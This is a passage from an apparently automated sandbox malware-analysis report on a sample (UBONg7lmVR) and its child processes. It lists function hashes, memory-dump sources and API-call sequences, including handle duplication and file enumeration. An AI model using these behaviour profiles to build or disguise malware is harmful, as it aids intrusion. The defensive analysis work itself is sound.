Instruction Fuzzy Hash: 64D0A7352D91418FC603772CC404B943B914F52105B0840F1E04CCFBB3C216C8068741

Function 0989DBB0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3094ab8b0d0aad115b42465fc305ed884375637211e618d448ebba14933d5f28
Instruction ID: a73e629d7e3639c74b3bd95b8724791ca48597475eaa8db0695fca90483be4e2
Opcode Fuzzy Hash: 3094ab8b0d0aad115b42465fc305ed884375637211e618d448ebba14933d5f28
Instruction Fuzzy Hash: 3FC08C713101084FD708EA74DC0997BB39EC7C0100308C07C600EC7611EE34EC014252

Function 0989E338 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 795b7602a036d0e0b3d9e9fce5479f4718a58fdd3833a1f2c7ac7c1ea8808c91
Instruction ID: 9cd2953c955937d352893b2688c025294ab68a00aceb429e75fd8d81222e1846
Opcode Fuzzy Hash: 795b7602a036d0e0b3d9e9fce5479f4718a58fdd3833a1f2c7ac7c1ea8808c91
Instruction Fuzzy Hash: A6C012321041197B4A01AB89D900C86BBADAF49654708C056F5088B221D662E51297D5

Function 0989A685 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 243739cc57f9bb1344052bc967c52d421567819e704d68061b24d27e392ab9ac
Instruction ID: 01ed40078a365a60677eb6f79b3c3b5fe126b8ae7f59590d08a721a589a276e2
Opcode Fuzzy Hash: 243739cc57f9bb1344052bc967c52d421567819e704d68061b24d27e392ab9ac
Instruction Fuzzy Hash: E4D012B19142009FCB49FF38984855AB7E6BFC4202F14CC3ED989C6240EA318518DBD2

Function 0989BA14 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b0537468a83acf405c64168db684e22ba83c470bf1eac5302a75136726193ff
Instruction ID: 8a4c62bb1235b730ae3ce5275b37150d1ab0fb21d1b88c44a24e51b0d2b57db6
Opcode Fuzzy Hash: 9b0537468a83acf405c64168db684e22ba83c470bf1eac5302a75136726193ff
Instruction Fuzzy Hash: 04C0123011030886C6059628C8401287651EB9130A79C9D9D600D89311D623CC4AC741

Function 09895FB8 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b19eb9d3e9c490466102cd7aed2a9a98491657a6741aa57866c0d125afe7d2dc
Instruction ID: 724230ea9163bd9a5f7d1c3691a22833e4090420c315af7264466e945d393169
Opcode Fuzzy Hash: b19eb9d3e9c490466102cd7aed2a9a98491657a6741aa57866c0d125afe7d2dc
Instruction Fuzzy Hash: 30B0122231463C230D1931ED34204BF739F8A8687060440AFE50FC73508DC52D0202DF

Function 09895330 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ffa2fe6fe285ec123b1f6e6eba041b3a10071a9a7a5173114cd42b977712374
Instruction ID: d99703293f5055c9b1180b35404f22f672b3085d57a74ea90077bde0e8747807
Opcode Fuzzy Hash: 3ffa2fe6fe285ec123b1f6e6eba041b3a10071a9a7a5173114cd42b977712374
Instruction Fuzzy Hash: 3DC01232040108BBCB026A80C800E09BF2AAB04290F108009FB040D121D273D522ABC2

Function 09894A84 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dcff877db65c50921c4562d71a10239c62db4310f8d3c2e1966dae863b5b134
Instruction ID: 90597efc4dbc9333abe8d7911518ae75d3d69e12c4f119df279f1b64f9b78169
Opcode Fuzzy Hash: 2dcff877db65c50921c4562d71a10239c62db4310f8d3c2e1966dae863b5b134
Instruction Fuzzy Hash: C7C09B760252059ECA05A758C584D16BED5FF65300F44DC5A7184C7230C631C91DD75A

Function 0989AA79 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a63455bc655511eb532b18c38363e13c38792e9d4f8a712254a6a0b5709d625
Instruction ID: 8792427a8e012c026edf73be2a74e27ffc43cb07f71e4dc0aaced60ceceb2dd1
Opcode Fuzzy Hash: 0a63455bc655511eb532b18c38363e13c38792e9d4f8a712254a6a0b5709d625
Instruction Fuzzy Hash: 01C002352854459FD710DB68D489EA4BBB1EF45219F2982F8E04E8BA23C766A855CB40

Function 0989AA80 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeaef9b10b7c6825025ac295034d11ac1781c793f56ddca9640d466430bb11f3
Instruction ID: d77331d01c494b34a0a1ba301ee13a1f87b48ddd987b2ac5f525b7548dd93187
Opcode Fuzzy Hash: eeaef9b10b7c6825025ac295034d11ac1781c793f56ddca9640d466430bb11f3
Instruction Fuzzy Hash: F2C092351845098FC310AB68D84CFA077EAEF45605F0980F0E10C8BB33DA22F8408B44

Function 0989D350 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e807ac0fa1546972cc277efd9d993f4433f1f86f11eaa44d7e44575185469055
Instruction ID: 3021d84b9f0a75f24d82cd36e702420dc3573853d0a2f8ddb6bc8f0f9b64e848
Opcode Fuzzy Hash: e807ac0fa1546972cc277efd9d993f4433f1f86f11eaa44d7e44575185469055
Instruction Fuzzy Hash: 65C04C345143158ACF19EF38C4616257B71FF5020A3945DADD08D4D755C737D485CB41

Function 09895280 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeaef9b10b7c6825025ac295034d11ac1781c793f56ddca9640d466430bb11f3
Instruction ID: d77331d01c494b34a0a1ba301ee13a1f87b48ddd987b2ac5f525b7548dd93187
Opcode Fuzzy Hash: eeaef9b10b7c6825025ac295034d11ac1781c793f56ddca9640d466430bb11f3
Instruction Fuzzy Hash: F2C092351845098FC310AB68D84CFA077EAEF45605F0980F0E10C8BB33DA22F8408B44

Function 09895DE3 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fa5e79cf900c6a05e7b71941b1236ba5ac61009e7b74fd5891754fff93454c4
Instruction ID: eaef3481b506a7fe8450ca327f1e9a4dc2fa070c214e53c189ed95ee39b2c459
Opcode Fuzzy Hash: 0fa5e79cf900c6a05e7b71941b1236ba5ac61009e7b74fd5891754fff93454c4
Instruction Fuzzy Hash: F4900217790528010811319DB00019E530985C0C76190D077D64DC45044915959B4696

Function 0989F430 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 757676bf54d2acb39ab08b61092dcab20279c46535671de318fae1755b14184c
Instruction ID: f8862b7b1460fb3e7ce5eeb40336516da56f1dcb7b63e23b8ae4b5da1b66cb2d
Opcode Fuzzy Hash: 757676bf54d2acb39ab08b61092dcab20279c46535671de318fae1755b14184c
Instruction Fuzzy Hash:

Non-executed Functions

Function 05BD3CFC Relevance: 6.9, Strings: 5, Instructions: 602COMMON

Download Yara Rule

Strings

Huq, xrefs: 05BD5AB2
Huq, xrefs: 05BD5B39
Huq, xrefs: 05BD5BC3
Huq, xrefs: 05BD5A1F
Huq, xrefs: 05BD5C80

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID: Huq$Huq$Huq$Huq$Huq
API String ID: 0-117896378
Opcode ID: aa0d7655b9af1556726ff29c6fb67f7436ba0dd2eb711407b3d28bd8972053ef
Instruction ID: 5e938ecbb6059b527d25ec4bc3f58c951f1a097a95facec85d83e74bd0e70e52
Opcode Fuzzy Hash: aa0d7655b9af1556726ff29c6fb67f7436ba0dd2eb711407b3d28bd8972053ef
Instruction Fuzzy Hash: 50323274F002588FDB64DF68C4947AEBBF2AF84300F1485A9D449AB395EB34AD45CFA1

Function 09851060 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40b77534b5c39a4a76015d33200aea18ca1c94d04cb2c2a8858afb70f0b2a15c
Instruction ID: f0d1febdaecfc52d9c32034cbd09b24d6ab15ce86b38b859adc2dec400be08f9
Opcode Fuzzy Hash: 40b77534b5c39a4a76015d33200aea18ca1c94d04cb2c2a8858afb70f0b2a15c
Instruction Fuzzy Hash: DE1272B04097468EE724CF65ED5C18A7BB1FB85B2CB504A0DD2A12F2E2DBBC155ACF44

Function 05BD545B Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c8a93743b7725598bddf36f84330443db04eaaa040b5a2a3f7e252a438e7fbb
Instruction ID: df73ae61e1ebcbfb8758ee8322b46c684b3eabcfef9b3ff65717636c6f76ce0b
Opcode Fuzzy Hash: 3c8a93743b7725598bddf36f84330443db04eaaa040b5a2a3f7e252a438e7fbb
Instruction Fuzzy Hash: 7BC11A71E002589FCB25DF65C880B99FBF2BF84310F14C5AAD449AB295E734E985CF61

Function 09899701 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c04e17039baba9bc735023f315af20ab8fadfa2cd305c0a4c12c2052d1caccb
Instruction ID: f0fac4ec2be78d3f4f687de9e52c490575bc23145b25fe265d6b2e7520228cc2
Opcode Fuzzy Hash: 0c04e17039baba9bc735023f315af20ab8fadfa2cd305c0a4c12c2052d1caccb
Instruction Fuzzy Hash: 1AD1FB3191075A8ACB10EB64D994AADF7B1FFD5300F10CB9AE50977250EB70AAC9CF91

Function 09899710 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e2ef3f7ca4b1206887be0e1fceb5556d22e952314c7ed91718b0874d2623c0b
Instruction ID: 33ee6c721583e576937b08436cdf6060b5ee8860c18e9e4e0dbbba4105ca4c7b
Opcode Fuzzy Hash: 0e2ef3f7ca4b1206887be0e1fceb5556d22e952314c7ed91718b0874d2623c0b
Instruction Fuzzy Hash: C9D1EA3191076A8ACB10EB64D994A9DF7B1FFD5300F10CB9AE50977250EB70AAC9CF91

Function 098506A0 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 067c92f468ec69d2b626f52e35ba412cc17925e37ff835148c003412dc02057b
Instruction ID: 1b83e59741058d136690b65647655cbd7e12a5e1a1e48dcda98433581aac8ad8
Opcode Fuzzy Hash: 067c92f468ec69d2b626f52e35ba412cc17925e37ff835148c003412dc02057b
Instruction Fuzzy Hash: C2A14D36A002198FCF15DFA4C84459EB7B2FF85300B15856DE80AEB365DB75E949CF80

Function 09851050 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5162f1f24d86acca33bca75badd7b2f671e40c30af503a5ca3a3477ba0ffe23a
Instruction ID: edd9b396b36c6ac1e3be5fa04894416fc0c4da4d6db4039715beec63f76f58ed
Opcode Fuzzy Hash: 5162f1f24d86acca33bca75badd7b2f671e40c30af503a5ca3a3477ba0ffe23a
Instruction Fuzzy Hash: FCC1E3B08057468ED725CF64EC5818A7BB1FB85B28F504B1DD2A16F2E2DBBC158ACF44

Function 0B3A2718 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6971ca33b96b776028f1d6c3d826d03be8633702e9764c766066472ef6cfcf55
Instruction ID: 57e5ecc0883ea9592d9fd266552e99482d9da2d21601d560ed189ff112640b70
Opcode Fuzzy Hash: 6971ca33b96b776028f1d6c3d826d03be8633702e9764c766066472ef6cfcf55
Instruction Fuzzy Hash: D0819272D00609CACB14DFA9D8442EEFBB2FF84340F25C139D455EB659EB39965ACB40

Function 0B3A2250 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed3a87ca8df321a87255f4788780cf49f9a33889c071642d658993704e5116ae
Instruction ID: f2d525fbdc12cc84b60080e423873463b2f0b551bd47e5fea4b144a3806185bf
Opcode Fuzzy Hash: ed3a87ca8df321a87255f4788780cf49f9a33889c071642d658993704e5116ae
Instruction Fuzzy Hash: BF81AC72D00609CBCB10DFA9D8442EEFBB2FF84300F19C13AD455AB698EB399656CB41

Analysis Process: y5cm2yzz.hwt.exePID: 7992, Parent PID: 7612COMMON

Executed Functions

Function 00B6E240 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2758482617.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000002.00000002.2758458592.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758642770.0000000000D69000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758817944.0000000000FE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758838462.0000000000FE3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758857400.0000000000FE4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758873266.0000000000FE5000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758900186.000000000100C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758922264.0000000001018000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758944124.0000000001019000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758961557.000000000101A000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758980546.000000000101C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758980546.0000000001037000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758980546.000000000103D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758980546.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759078097.00000000010AC000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759078097.00000000010BB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759078097.0000000001142000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759240821.00000000012E2000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759254305.00000000012E3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759254305.00000000012EF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b00000_y5cm2yzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b65c2346c372a812bf9a5a497f7710ebe99c163a2b211cbfcde99684ffbfdf79
Instruction ID: 21395c888a9d69e7e5649a6c1fae996b6df5f624e5ec49af13195a06cd8b41d3
Opcode Fuzzy Hash: b65c2346c372a812bf9a5a497f7710ebe99c163a2b211cbfcde99684ffbfdf79
Instruction Fuzzy Hash: EF317A2791CFC482D3218B24F5413AAB364F7A9794F15A715EFC852A1ADF38E2E5CB40

Function 00B6A5A0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2758482617.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000002.00000002.2758458592.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758642770.0000000000D69000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758817944.0000000000FE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758838462.0000000000FE3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758857400.0000000000FE4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758873266.0000000000FE5000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758900186.000000000100C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758922264.0000000001018000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758944124.0000000001019000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758961557.000000000101A000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758980546.000000000101C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758980546.0000000001037000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758980546.000000000103D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2758980546.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759078097.00000000010AC000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759078097.00000000010BB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759078097.0000000001142000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759240821.00000000012E2000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759254305.00000000012E3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2759254305.00000000012EF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b00000_y5cm2yzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19322aacc7dd447383d6f2170a10e82d5a65409c32a3e247da5a00b3a98942e9
Instruction ID: 2ca65e79790d41de0e54a98060c9f0a6312f0d0bdbdba1829bd8450aff48c7f8
Opcode Fuzzy Hash: 19322aacc7dd447383d6f2170a10e82d5a65409c32a3e247da5a00b3a98942e9
Instruction Fuzzy Hash:

Analysis Process: rapnewsa.exePID: 8032, Parent PID: 7992COMMON

Execution Graph

Execution Coverage:	19.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.7%
Total number of Nodes:	381
Total number of Limit Nodes:	12

Executed Functions

Function 002C1470 Relevance: 15.1, APIs: 10, Instructions: 137
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002C1EA0: RtlAllocateHeap.NTDLL(030F0000,00000008,002C3D82), ref: 002C1EB0

NtQuerySystemInformation.NTDLL(00000010,?,00001000,00000000), ref: 002C14A9
OpenProcess.KERNEL32(00000040,00000000,?), ref: 002C1523
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 002C154B
DuplicateHandle.KERNELBASE(000000FF,?,00000000), ref: 002C1565
GetFileType.KERNELBASE(000000FF), ref: 002C157F
CloseHandle.KERNEL32(000000FF), ref: 002C159E
GetCurrentProcess.KERNEL32(000000FF,00000000,00000000,00000001), ref: 002C15AE
DuplicateHandle.KERNEL32(000000FF,?,00000000), ref: 002C15C8
CloseHandle.KERNEL32(000000FF), ref: 002C15DC
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 002C15EF

Part of subcall function 002C1EE0: RtlFreeHeap.NTDLL(030F0000,00000000,00000000,02E80000), ref: 002C1EFE

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: Handle$CloseProcess$CurrentDuplicateHeap$AllocateChangeFileFindFreeInformationNotificationOpenQuerySystemType
String ID:
API String ID: 2769610337-0
Opcode ID: ed180b1ff0556b8e54712d096241b252c63e9645cacef9540c195ee1c49333be
Instruction ID: c9751bf11fe766c7acf640a8510233b4abf809b20d5c80f890c746b736e1c6d8
Opcode Fuzzy Hash: ed180b1ff0556b8e54712d096241b252c63e9645cacef9540c195ee1c49333be
Instruction Fuzzy Hash: 17515FB4D10209EFDB24CFD8D889FAEB7B5BF49345F10425CE612A7281C7749A61CB61

Function 002C8D40 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 126
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002C1EA0: RtlAllocateHeap.NTDLL(030F0000,00000008,002C3D82), ref: 002C1EB0

FindFirstFileW.KERNELBASE(00000000,?), ref: 002C8D83
FindNextFileW.KERNELBASE(000000FF,?), ref: 002C8EB1
FindClose.KERNEL32(000000FF), ref: 002C8EC3

Strings

%s\%s, xrefs: 002C8E28
%s\*, xrefs: 002C8D67

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: Find$File$AllocateCloseFirstHeapNext
String ID: %s\%s$%s\*
API String ID: 2963102669-2848263008
Opcode ID: 11225f78700ce2bb91e34cc1a8641d713e139db15a6b291b32430e52ac0e5f26
Instruction ID: e9eb8b000212b60252212f05ff8ae27cbdc1dde6beda3f556a97388ad44aee50
Opcode Fuzzy Hash: 11225f78700ce2bb91e34cc1a8641d713e139db15a6b291b32430e52ac0e5f26
Instruction Fuzzy Hash: 7341F0B5D00259EBCB14DFA4DD59EEF77B9AF48300F1086ACF90597282EA349B20CB51

Function 002C17E0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalHandle.KERNEL32(00000000), ref: 002C18C8

Strings

l, xrefs: 002C19A3

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: GlobalHandle
String ID: l
API String ID: 1075865800-2517025534
Opcode ID: 52e9c71b1fa2cd143679c5b526a2421662126662f1811ae3ceab4e50f04fbb10
Instruction ID: cc68cf033135bbda90f6d6e4d05995856aa8335abcf9b9984274095ae9c69edc
Opcode Fuzzy Hash: 52e9c71b1fa2cd143679c5b526a2421662126662f1811ae3ceab4e50f04fbb10
Instruction Fuzzy Hash: 7D91C574E14209DFCF08CF98D591AADBBB2FF49308F248299D915AB341D730AA61DF94

Function 002C8CA0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,002C3271,G1,), ref: 002C8CAA

Strings

q2,, xrefs: 002C8CB0

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
